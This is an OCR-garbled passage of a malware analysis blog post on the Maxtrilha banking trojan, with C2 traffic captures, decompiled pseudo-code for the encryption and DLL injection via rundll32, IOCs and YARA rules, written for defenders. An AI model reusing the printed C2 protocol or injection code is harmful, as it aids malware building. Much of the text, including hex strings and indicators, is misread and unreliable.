|cuttmpd.exe _J| GetWindowTextW (0x0000000000090284, 0xo0000ooooss7bso. 20

USER32.dlIl “ememcpy [ 0x0C DO004577Th30, 0x00C 0001 490, 56 )

cult.mpd.exe Qu

vPerformanceCounter [ 0 0G45fc58 )
= (Western-European, 0, "F53FF233EB6D4 FESO03FFF57F415C8 CBCFABIERTE40334 A8508 DA48598369E33D70ACL" | 75, NULI

cult.mpd.exe

cult.mpd.exe oMultiByte ( Western-European, 0, "F53FF233EBED4FESO03FFFS7F415C8 CACFABIESTE4D334 48508 DA48598369E330704CL | 76, Dx0..
cult.mp4.exe WideCharToMultiByte ( Western-European, 01794,228,123.1617) 14, NULL, 0, MULL, LL)

cult.mpd.exe CharToMultiByte | Western-European, 04794.228.123.1617) 14, 0x0000000002e62260, 14, MULL, L)

cult.mpd.exe teToWideChar [ Western-European, 04794.228.123.161° 14, 0x00000000064 52810, 2047 )

cult.mpd.exe CharToMultiByte | Western-European, 01794.228.123.161°] 14, NULL, 0, NULL, L}

cult.mpd.exe CharToMultiByte [ Western-European, 0]794.225.123.1617 14, 0x0000000002e62260, 14, NULL, L}
cult.mp4.exe estern-European, 0794.226.123.1617 14, NULL, 0, NMULL, L)
cult.mpd.exe 042281231617 14, 0x0000000002e62650, 14, MULL, MULL)

cult.mpd.exe

cult.mpd. exe

cult.mp4.exe

cult.mpd. exe oWideChar [ Western-European, 0, 94.228.1273.1617, 14, 0x000000000645de20, 2047 )

cult.mp. exe rToMultiByte ( CP_ACP, 0, "PUT /dashboard/944617970_dds.php HTTP/1.0%, 41, NULL, 0, MULL, MULL )

cult.mpd . exe - WideCharToMultiByte ( CP_ACP, 0, "PUT /dashboard/944617970_dds.php HTTP/A.0%, 41, 0x000000000645e704, 41, MULL, NULL)

cult.mp4. exe lultiByte [ CP_ACP, 0, "Accept: image/qgif, image/x-xbitmap, image/fjpeg, image/pjpeg, */*", 64, MULL, 0, NULL, NULL})
cult.mp4.exe e [CP_ACP, 0, "Accept: image/gif, image/c-xbitmap, image/fjpeq, image/pjpeg, =™, 64, 0x000000000645e704, 64, MULL,

cult.mp4. exe robultiByte ( CP_ACP, 0, "Content-Type: application/x-www-form-urlencoded”, 47, NULL, 0, NULL, MULL)

ultiByte [ CP_ACP, 0, "Content-Type: application/x-www-form-urlencoded”, 47, 0x000000000645e704, 47, MULL, MNULL)
User-Agent: Mozilla/4.0", 25, NULL, 0, MULL, L)

User-&gent: Mozilla/4.0", 23, 0x000000000645e704, 23, NULL, MULL)

cult.mp4. exe
cult.mpd. exe

cult.mpd. exe

cult.mp4.exe , "Host: 94,228.123.161°, 20, NULL, 0, NULL, L}
cult.mp4.exe Host: 94,228,123.161°, 20, 0x0000000006452704, 20, MULL, L)
cult.mpd. exe

Content-Length: 76°, 18, NULL, 0, NULL, MULL)

cult.mpd.exe

Figure 17: Maxtrilha C2 communication.

In detail, the “maxtrilha123” key is used to encrypt the clear-text strings in a binary operation
each time the trojan sends information to the C2 server.
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0(8qStack112, ©
sub_412F80(qStackX16,
) {
412F90(&q5tack
12D78(&qStack:

KX24, ivar2, 2);
a/82c);

ivar7 = iVar?7 + 1;
}
else {
iVar7?
x", auStack96, @); }
uVar5 =

if (iStackX24 {
iVar2 = *(int *)(iStackX24 + -4);

3
1
else {
iVar6 = (uVar5 - uVar3) + @

iVar6 = *(int32 t*)(iStackX24 + -4);
1
}

iStackX24 + -2 + (int64_t)iVar8 * 2) + uVar3) uVar3 = uVard;
ntl6_t*)(iStackX32 + -2 + (inté4_t)iVark } while (iVar2 < iVaré);
3
sub_411560(param_1, &

2x", auStack96, @);

iVar7 = iVar
} while (iVar2

VITELMOMG\F\n124\r\n

94.228123.161 49623
100215 54.207.65.61 49625 www.invertexto.co...  hitps

.

PuT /dashboard/index.php WP -8 C2 server communication

Accept: image/gif, imagesx-xbitmap, image/jpeg, imagespjpeg, =/%

Usor-ngeRt MIZIIIarRD to create PHP files

Host: 94._228_123.161
Content-Length: 132

DE2EC25FBOS3DF2AES769EE27BDCSE1369EBI1F 743107 D561FEGBFB! 1FBB5CBD1AG1F8BE 8222
HTTP/1.1 200 0K

Date: Thu, 09 Sep 2821 22:29:36 GHT

Server: fpache/2.%.29 (Ubuntu)

Content-Length: 9

Connection: close

Content-Type: text/html; charset=UTF-8

Q44617978

Figure 18: Pseudo-code of the encryption algorithm used by maxtrilha.

In another attempt to run the binary, we can see that a similar string is sent; different due to

the timestamp the request was sent. This first server request then creates PHP pages on the

server-side based on the victim’s IP address.

17/25


https://seguranca-informatica.pt/wp-content/uploads/2021/09/22.jpg

PUT /dashboard/index.php HTTP/1.8

Accept: image/sgif, image/x-xbitmap, image/jpeg, image/pjpeqg, #*7+%
Content-Type: multipart/form-data

User-fAgent: Mozilla/h.@

Host: 94.228.123.161

Content-Length: 154

AGGOHBAGYBBSBDYS2DDGEDGFASIELNZGLBZ12359BF2E B BA7Z9FBEYGCEGUCIBPAF6ADGG BF9FDDESACFS5DB2IFE2
HTTP/1.1 288 OK

Date: Wed, BB Sep 2821 14:26:49 GHMT

Server: Apache/2.4.29 (Ubuntu})

Content-Length: 9

Connection: close

Content-Type: textshtml; charset=UTF-8

oLL617978

[P 959366252.drc ~ 2021-09-0817:37 0
[?) 9513656103.drc ~ 2021-09-08 1737 0
[?) 87103122234 tmp  2021-09-08 17:37 29K
e [#] 944617970.4mp ~ 2021-09-08 17:37 83
0ard/944617970.php [?) 9463172143 tmp  2021-09-08 17:14 30K
[P) 1946596186 tmp  2021-09-08 17:10 46K

Additional data is sent to the C2 server related to the page the victim is browsing.

94.228123.161 49259 TCP 10.0.215 94.278123.161 49261 dude-PC.home
B | <
PUT /dashboard/944617978_dds._php HTTP/1.8 PUT /dashboard/944617978.php HTTP/1.8
Accept: image/fgif, image/x-xbitmap, image/jpeg, image/pjpeg, |Accept: imagesgif, imagesx-xbitmap, image/jpeg., image/pjpeg, /%
Content-Type: application/x-www-form-urlencoded Content-Type: application/z-www—form-urlencoded
User-fAgent: Mozilla/s4.8 User-fAgent: Mozilla/h.@
Host: 94.228 .123.161 Host: 94.228.123.161
Content-Length: 76 Content-Length: 64981
F53FF233EBGD ¥ouw  KS. (3008

LFESBB3FFF57F41SCBC8CFABYES7ELBI3 4ARS BBDALBSOR369E33D7 BAC
cadiSEUPE e e
HTTP/1.1 288 0K s.#@E &D.a.M.T..5..<{..A>. .7
Date: Wed, 88 Sep 2021 11:25:82 GHT

Server: Apache/2.4.29 (Ubuntu}

Content-Length: 7 % au Tt kL vl cec e as s P (e

Connection: close . wn.64e] OH,.?y....-v.._ U, %

Content-Type: text/html; charset=UTF-8 . .[-2-F-..7.00:@3 _Az.7B~Uj.Hz. . ... .... o O LS | N T R tlice
Tanal

1-env_f L8]y Ailxr9.0..
y ST ) PO | |l ) T | (R B ) ) PO R | | | 7.t AN | 1), . ] 78
..... [T SNV - E ] ", NN 1 "1\ Y "5 [ S < R |- | L
T e ETTHT | R RE  RE TR [ e [ e R Y e TN S
RS e e LS T L L L A AR L S Ce B S e T g e e
% & RIS 2o N | P | (TENCORS SN e [N | ORI | (SR ARAARE Sealiiialabas T QieaaT

Figure 19: Maxtrilha trojan creating the victim’s PHP pages on the C2 server to perform
further communication.

Maxtrilha uses API hashing and introduces well-known calls to perform DLL injection. This
technique is then used to deploy additional payloads during the malware execution.
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qword sub_FAS5DD@()
{

qword gVarl;

if (qword 117DC00 == @) {

qword_117DCOO = _GetModuleHandleW("kernel32.d11");
if (quord_117DC00 1= @) {

| 8 = sub_427C00(qword_117DC08A, “"CreateToolhelp32Snapshot™);
sub_427C00(qword_117DC08B, "Heap32ListFirst");
sub_427C@0(qword_117DC00, "Heap32ListNext"};
sub_427C00(qword_117DC88B, "Heap32First");
sub_427C@0(qword_117DC00, "Heap32Next");
sub_427C00(qword_117DC88, "Toolhelp32ReadProcessMemory™);
sub_427C00(qword_117DC00, "Process32First");
sub_427C00(qword_117DC88B, "Process32Next");
sub_427C00(qword_117DC00, "Process32FirstW");
sub_427C00(qword_117DC88B, "Process32NextW");
sub_427C@0(qword_117DC08, "Process32FirstW");
sub_427C00(quwordedl7DCOB, "Process32Nexth");
sub_427Ce0(qward_117DC00, "Thread32First");
sub” 42700 (qword.117D0C08, "Thread32Next");
sublf 427008 (qword TTFDCEO, “Module32First");
sub_427C00(qwerd 1170088, "Module32Next");
aword 11/DC98 & sub 427000 (quordsdd 7D 28y Moduled2F i rs&ld™) ;
qword_117D6@AB = sub 427C00(qwaird_117DC08, "Moduled@NextW");
guerd117DCY8 = sub 427C0@(quard_117DCAE, “"Module32FirstW");
aword _117DC8@ = sub_427C00(qword (1d4DCa6, “Meduleid2NextW);

d_1170€58
qword J247DC66
gword_117DC38
qword_117DC48
qword_117DC68
qword_117DC78
qword_117DC88
qword_117DC9A

DLL injection via rundll32.exe
if (param_3 == 2) {
sub_A12EA@(&qStack72, 3, "C:\Users\Public\", gStackxg8, ".d1ll");
cVarl = sub_FABBF@(qStackX16, qgStack72);
if (cvarl == "\x@1") {
sub_A12EAQ(&qStacks8@, 5, "RunD1132.exe C:\Users\Public\", gStackx8, @xfa989c, gStackX32, @);
sub_412400(8&qStack88, gStacks8e, @);
gVard = sub_4122A0(gStacks8s);
_WinExec(gVar4, 1);
sub_412EAQ(&qStackos, 5, “"RunD1132.exe C:\Users\Public\", gStackX8, @xfa989c, gStackX32, " - opcao = 2");
sub_FB1180(*qword_1159AF8, gStack96);

Figure 20: API hashing calls and DLL injection technique found on the binary to probably
execute additional payloads at runtime based on specific operations listed below.

- opcao = 1 -
- opcao = 2 -
- opcao = 3 -
- opcao = 4 -
- opcao = 5 -

The malware will also send the name of the foreground windows the user is opened to the
C2 server. In this case, if for example some of those windows are on a blacklist (x64db, IDA,
etc), the trojan may terminate its execution.

As observed below, the two C2 servers hardcoded inside the maxtrilha binary are geolocated
in Russia.
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mov rcx, rbx

mov rcx, rbx

94.228.126.231

& General Information

Hostname o

TMwER AU

Russian Fedaeration

Saint Potersburg

TimeWeb Lid.

P TimeWeb Ltd.

AS9123

QLI L V=t ring_httpo42281j)

call func_Bx11566 5 worid _

lea rdxf [String_httpo42281_1]
call func_0x11566 ; void __cdecl

jmp code_exBATBBE3

jmp code_BxBAT8B3

@& General Information

mes

Domains

[f94.228.123.

; "http://f94.

[3) 5433216.tmp
[#) 18611046.tmp
[#] 1911257 L.imp
[3] 28050177.tmp
[3) 26210751.tmp
[3) 28314715.mmp
[#) 28338114.mp
[?] 83482546.tmp
[3] 83501294.tmp
[3]89379522.tmp
[#) 9463431 4.tmp
=+ [#] 95944441.tmp
[3] 109482248.tmp
[3] 138199492.tmp
[#] 148634545 tmp
[#] 148696054.0mp
[?] 148697284.tmp
[3] 176788363.tmp
[3] 176788591.tmp

161/dashboard/"

__inté4 pl, __inté4 p2 )

228.126.231/1lendd

__inté4 pl, __inte4 p2 )

593155-cs80582 tmwab.ru

THMWER.RU

Russian Federation

Saint Petersburg

Thositfabithd, [#] 176789515.mp
TimetWob Lid. [?] 187161969.tmp
i [3] 191125325.tmp

Figure 21: Maxtrilha C2 servers geolocated in Russia.

Final Thoughts

2021-09-05 21:42
2021-08-31 19:10
2021-08-06 16:03
2021-08-05 14:03
2021-08-25 17:55
2021-09-03 11:26
2021-09-07 11:40
2021-09-06 19:49
2021-07-29 23:05
2021-08-28 14.38
2021-09-07 17:41
2021-09-04 20:56
2021-09-03 17:03
2021-07-27 15:41
2021-09-06 16:44
2021-08-26 20:33
2021-09-07 21:35
2021-08-12 00:50
2021-08-30 16:47
2021-08-28 13:23
2021-09-01 02:34
2021-09-03 16:26

24K
20K
20K
25K
34K
21K

510
52K
34K
37K
14K
19K
32K
42K
19K
23K
81K
30K
64K
31K
21K

Nowadays, we are facing a growing of Brazilian trojans at a very high speed. Each one of
them with its peculiarities, TTPs, etc. With this in mind, criminals achieve a FUD condition
that allows them to avoid detection and impact a large number of users around the world.

In this sense, monitoring these types of l0Cs is a crucial point now, as it is expected that in
the coming weeks or months new infections or waves can appear.

Thank you to all who have contributed:

@JAMESWT_MHT
@MiguelSantareno

Mitre Att&ck Matrix

Execution Persistence Privilege Escalation

Command and
Scripting Inte'preter

Registry Run Keys /
Startup Folder [}

Process Injection [}

Scheduled TaskiJob  Boot or Logon Registry Run Keys /
Initialization Scripts Startup Folder n

At (Linuz) Logon Script Logon Script
(Windows) (Windows)

At (Windows) Legon Script (Mac) Logon Script (Mac)

Cron MNetwork Logon Script  Network Logon Script

Launchd Re.common Rc.common

Credential
Defense Evasion Access
Process Injection [} OS Credential

Dumping

Rootkit LSASS Memory

Obfuscated Files or  Security Account

Information Manager
Binary Padding NTDS
Software Packing LSA Secrats

Cached Domain
Credentials

Steganography

Indicators of Compromise (IOCs)

Command and

Discovery Lateral Movement Collection Exfiltration Control

Security Software  Remote Services Data from Local Exfiltration Over Other Encrypted
Discovery [} System Metwork Medium channel [
Process Remote Desldop Data from Exfiltration Over Mutti-hop Proxy [l
Dis-:ouer:.-n Protocol Removable Media  Bluetooth

System Information  SMBMWindows Admin  Data from Network  Automated Exfiltration  Nen-Application
Discovery Shares Shared Drive Layer Frotoco\
Remote System Distributed Component Input Caplure Scheduled Transfer Application Layer
Discovery Object Model Protocol
Remote System SSH Keylogging Data Transfer Size Pruxa-'
Discovery Limits

System Owner/User VNC GUI Input Capture | Exfiltration Over C2  Ingress Tool
Discovery Channel Transfer [}
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--- .PT domain / phishing ---

ajuda.cld].pt

customdomains.
f9z6ja.s.cld]
110j61.s.cld]
jxbkwo.s.cld]
jdyejh.s.cld]
s8dcd2.s.cld]
6gwttx.s.cld]
n4bioh.s.cld]
oofrae.s.cld]
9kvxv4.s.cld]
wuivijh.s.cld]
fe67gp.s.cld]
9iu549.s.cld]
n9i202.s.cld]
bt81tf.s.cld]
Xrrjon.s.cld]
uvt3z5.s.cld]
sbexlt.s.cld]
xmr83x.s.cld]
kg4di7.s.cld]
1zpajx.s.cld]
z6vfcl.s.cld]
9owib7.s.cld]
fml494.s.cld]
dzitjy.s.cld]
redfof.s.cld]
4inxd5.s.cld]
u42sld.s.cld]
d2téms.s.cld]
sQ260z.s.cld]
jXx7w68.s.cld]
cx0px4.s.cld]
85928p.s.cld]
gdrwxi.s.cld]
4fblxh.s.cld]
sj788n.s.cld]
vzqréb.s.cld]
h61imhu.s.cld]
9jhvyu.s.cld]
geko0l.s.cld]
9puund.s.cld]
5yxgae.s.cld]
a4g9no.s.cld]
y64ryi.s.cld]
vh69rv.s.cld]
ct156d.s.cld]
08c5gz.s.cld]
ruc8oq.s.cld]
jx976j.s.cld]
xya9om.s.cld]
636jm3.s.cld]
83hiwm.s.cld]
6yd25k.s.cld]

cld].pt

.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
.pt
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t47mir.s.cld].pt
vla9xi.s.cld].pt
716ceh.s.cld].pt
3yloe3d.s.cld].pt
n7déof.s.cld].pt
as4435.s.cld] .pt
abcyc9.s.cld].pt
bg7zew.s.cld].pt
ahgkmu.s.cld].pt
g82hrg.s.cld].pt
hgpaOp.s.cld].pt
15yqcr.s.cld].pt
lc465n.s.cld].pt
cpOadm.s.cld].pt
axbkpv.s.cld].pt
gajior.s.cld].pt
paw2d2.s.cld].pt
luu2o0l.s.cld].pt
h3tggn.s.cld].pt
iwtosz.s.cld].pt
suymo6.s.cld].pt
ujglwa.s.cld].pt
tewkko.s.cld].pt
Oxhmwn.s.cld].pt
5yn5zo.s.cld].pt
7bxOxw.s.cld].pt
3b8iph.s.cld].pt
g47px2.s.cld].pt
blg4jc.s.cld].pt
7tf950.s.cld].pt
viz4lu.s.cld].pt
7bbzfr.s.cld].pt
3047pq.s.cld].pt
fffzbw.s.cld].pt
mmx1s9.s.cld].pt
3551j9.s.cld].pt
1dsuij.s.cld].pt
turjgi.s.cld].pt
2st9tz.s.cld].pt
npnn8d.s.cld].pt
nchiltb.s.cld].pt
gqouimg.s.cld].pt
gqx45dz.s.cld].pt
58kzfe.s.cld].pt
u9lrss.s.cld].pt
zt6liz.s.cld].pt

-- domain used to get config ---
https://abrilprorock2018. Jwebcindario.]com/br/
https://abrilprorock2018. Jwebcindario.]com/nt/
https://abrilprorock2018. Jwebcindario.]com/baby/
https://abrilprorock2018. Jwebcindario.]com/hs/
https://abrilprorock2018. Jwebcindario.]com/jf/
https://abrilprorock2018. Jwebcindario.]com/hass/
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-- C2 server --
94.228.123.]161
94.228.126.]231
sageprototypego. Jpt/sept/cult.mp4" /]

-- samples--
1st stage: 043f535f68678652c50ff49cf03ee4b63fdbdO3b76c732adfe83074335Fbbb3b
2nd stage: a6512b5271bc6e383ec6e3141ebb91b92a8a76a5f1d532ee6e185a253dc20830

--short URLs--

https://tinyurl. Jcom/flexibiliza
https://tinyurl. Jcom/tributodashboard
http://tinyurl.]com/yjsfpjau
https://tinyurl. Jcom/ye65hycr
https://tinyurl.]com/tabloide®1
http://tinyurl.]com/yh3mhn8o
https://tinyurl.]com/y6hkrtv6

Online Sandbox URLs

—https://app.any.run/tasks/b734235a-b6e1-4dbe-8d13-2709b9e282a0/
—https://www.joesandbox.com/analysis/847611
-https://capesandbox.com/analysis/186437/#

Samples

https://bazaar.abuse.ch/browse/tag/abrilprorock2018.webcindario.com/
https://bazaar.abuse.ch/browse/tag/54.207.65.61/
https://bazaar.abuse.ch/browse/tag/sageprototypego.pt/
https://bazaar.abuse.ch/sample/a6512b5271bc6e383ec6e3141ebb91b92a8a76a5f1d532eeb

e185a253dc20830/

Yara Rule
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https://app.any.run/tasks/b734235a-b6e1-4dbe-8d13-2709b9e282a0/
https://www.joesandbox.com/analysis/847611
https://capesandbox.com/analysis/186437/#
https://bazaar.abuse.ch/browse/tag/abrilprorock2018.webcindario.com/
https://bazaar.abuse.ch/browse/tag/54.207.65.61/
https://bazaar.abuse.ch/browse/tag/sageprototypego.pt/
https://bazaar.abuse.ch/sample/a6512b5271bc6e383ec6e3141ebb91b92a8a76a5f1d532ee6e185a253dc20830/

import '"pe"
rule maxtrilha_banking_trojan_loader_2021 {
meta:
description = "Yara rule for maxtrilha trojan banker (loader) - September 2021
version"
author = "SI-LAB - https://seguranca-informatica.pt"
last_updated = "2021-09-10"
tlp = "white"
category = "informational"

strings:
$s_a = {68 00 74 00 74 00 70 OO0 73 OO0 3A 00 2F 00 2F 0O 77 OO 77 00 77 00 2E 00
69 00 6E 0O 76 OO 65 OO 72 00 74 00 65 0O 78 OO 74 OO0 6F OO0 2E 00 63 00 6F 0O 6D 00
2F 00 6C 0O 6F 00 63 00 61 00 6C 00}
$s_b = {73 00 61 00 67 OO 65 OO0 70 OO 72 OO0 6F OO 74 GO 6F 00 74 OO 79 00 70 00
65 00 67 00 6F OO0 2E 0O 70 OO 74 OO0 2F OO 73 00 65 00 70 00 74 00 2F 00 63 OO0 75 00
6C 00 74 GO0 2E 00 6D 00 70 00 33 00}
condition:
filesize < 20000KB
and all of ($s_%*)

rule maxtrilha_banking_trojan_2nd_stage_2021 {
meta:

description = "Yara rule for maxtrilha trojan banker (2nd stage) - September 2021
version"

author = "SI-LAB - https://seguranca-informatica.pt"

last_updated = "2021-09-10"

tlp = "white"

category = "informational"

strings:
$s_a = {62 00 72 00 69 OO 6C OO 70 PO 72 OO0 6F 0O 72 OO 6F OO 63 0O 6B 00 32 00O
30 00 31 00 38 00 2E 0O 77 0O 65 00 62 OO0 63 OO 69 00 6E 0O 64 0O 61 OO 72 OO 69 00
6F 00 2E 00 63 00 6F 0O 6D 00 2F 00}
$s_b = {68 00 74 00 74 00 70 00 73 00 3A 00 2F 00 2F GO 77 00 77 0O 77 00 2E 00
69 00 6E GO 76 00 65 OO 72 OO0 74 OO0 65 OO0 78 00 74 OO0 6F 00 2E 0O 63 00 6F OO 6D 00
2F 00 6C 00 6F 00 63 00 61 00 6C 00}
$s_c = {00 34 00 2E 00 32 00 32 00 38 0O 2E 00 31 00 32 00 33 00 2E 00 31 00 36
00 31 00 2F 00 64 00 61 00}
condition:
filesize < 20000KB
and all of ($s_*)

The Yara rules are also available on GitHub.

/
Pedro Tavares
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https://raw.githubusercontent.com/sirpedrotavares/SI-LAB-Yara_rules/master/maxtrilha_trojan_banker
https://seguranca-informatica.pt/author/pipocaz/

Pedro Tavares is a professional in the field of information security working as an Ethical
Hacker/Pentester, Malware Researcher and also a Security Evangelist. He is also a founding
member at CSIRT.UBI and Editor-in-Chief of the security computer blog seguranca-
informatica.pt.

In recent years he has invested in the field of information security, exploring and analyzing a
wide range of topics, such as pentesting (Kali Linux), malware, exploitation, hacking, loT and
security in Active Directory networks. He is also Freelance Writer (Infosec. Resources
Institute and Cyber Defense Magazine) and developer of the 0xSI_f33d — a feed that
compiles phishing and malware campaigns targeting Portuguese citizens.

Read more here.
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